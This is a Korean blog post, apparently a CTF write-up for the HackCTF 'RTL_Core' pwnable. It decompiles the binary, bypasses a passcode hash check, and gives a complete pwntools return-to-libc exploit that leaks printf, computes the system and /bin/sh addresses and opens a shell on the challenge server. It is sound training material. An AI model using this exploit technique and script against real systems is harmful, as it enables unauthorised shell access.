메로나

[HackCTF] RTL_Core (250) write-up 본문

Wargame & CTF/Pwnable

[HackCTF] RTL_Core (250) write-up

m3r0n4 2020. 10. 19. 15:45

1. 보호기법 체크

[*] '/root/pwn/CTF/HackCTF/RTLcore/rtlcore'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

2. Hex-Ray

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+Ch] [ebp-1Ch]

  setvbuf(_bss_start, 0, 2, 0);
  puts(&::s);
  printf("Passcode: ");
  gets(&s);
  if ( check_passcode((int)&s) == hashcode )
  {
    puts(&byte_8048840);
    core();
  }
  else
  {
    puts(&byte_8048881);
  }
  return 0;
}

먼저 문자열을 받아오고 check_passcode 의 결과와 hashcode 값을 비교하고 만약에 맞다면 core 함수로 넘어가게 된다. check_hashcode 함수를 보면 아래와 같다.

int __cdecl check_passcode(int a1, int a2)
{
  int v3; // [esp-8h] [ebp-8h]
  signed int i; // [esp-4h] [ebp-4h]

  v3 = 0;
  for ( i = 0; i <= 4; ++i )
    v3 += *(_DWORD *)(4 * i + a2);
  return v3;
}

받아온 문자열을 4바이트씩 나눠 5번 v3에 더하고 v3을 return 해주는 함수이다. hashcode의 값은 0xC0D9B0A7라는 것을 찾을 수 있다. 그냥 첫번째 4바이트에 0xC0D9B0A7 넣고 나머지는 그냥 0만 넣어주면 된다. 그다음 core 함수는 아래와 같다.

ssize_t core()
{
  int buf; // [esp+Ah] [ebp-3Eh]
  int v2; // [esp+Eh] [ebp-3Ah]
  __int16 v3; // [esp+12h] [ebp-36h]
  int v4; // [esp+38h] [ebp-10h]
  void *v5; // [esp+3Ch] [ebp-Ch]

  buf = 0;
  v2 = 0;
  v4 = 0;
  memset(
    (void *)((unsigned int)&v3 & 0xFFFFFFFC),
    0,
    4 * (((unsigned int)((char *)&v2 - ((unsigned int)&v3 & 0xFFFFFFFC) + 46) & 0xFFFFFFFC) >> 2));
  v5 = dlsym((void *)0xFFFFFFFF, "printf");
  printf(&format, v5);
  return read(0, &buf, 0x64u);
}

printf 함수의 실제 주소를 leak 해주고 buf에 문자열을 받아온다. printf 함수의 실제 주소가 주어지기 때문에 libc_base, system 함수와의 오프셋을 알고 있기 때문에 각각의 실제 주소를 알아낼 수 있고, 이를 통해 RTL을 할 수 있다. 이를 가지고 익스플로잇 코드를 작성해 보자.

3. Exploit!!!!!

from pwn import *

IP = 'ctf.j0n9hyun.xyz'
PORT = '3015'

p = remote(IP, PORT)
#p = process('./rtlcore')
e = ELF('./rtlcore')
libc = ELF('libc.so.6')
#libc = e.libc
printf_offset = libc.symbols['printf']
system_offset = libc.symbols['system']

payload = p32(0xC0D9B0A7)
payload += p32(0) * 4

p.sendline(payload)

log.success(p.recvline())
log.success(p.recvuntil("0x"))
printf_addr = "0x" + p.recv(8)
printf_addr = int(printf_addr, 16)

log.success(hex(printf_addr))
libc_base = printf_addr - printf_offset
system_addr = libc_base + system_offset
binsh = libc_base + libc.search('/bin/sh').next()

payload = "A" * (0x3e + 0x4)
payload += p32(system_addr)
payload += "A"*4
payload += p32(binsh)

p.sendline(payload)

p.interactive()

실행해 보면

익스완료 ~_~

'Wargame & CTF > Pwnable' 카테고리의 다른 글

[HackCTF] Gift (250) write-up  (0) 2020.12.22
[HackCTF] Look at me (350) write-up  (0) 2020.12.19
[BalCCon2k20] mindgames_1336 write-up  (0) 2020.09.29
[HackCTF] Random Key (200) write-up  (0) 2020.09.01
[HackCTF] RTL_World (200) write-up  (0) 2020.08.21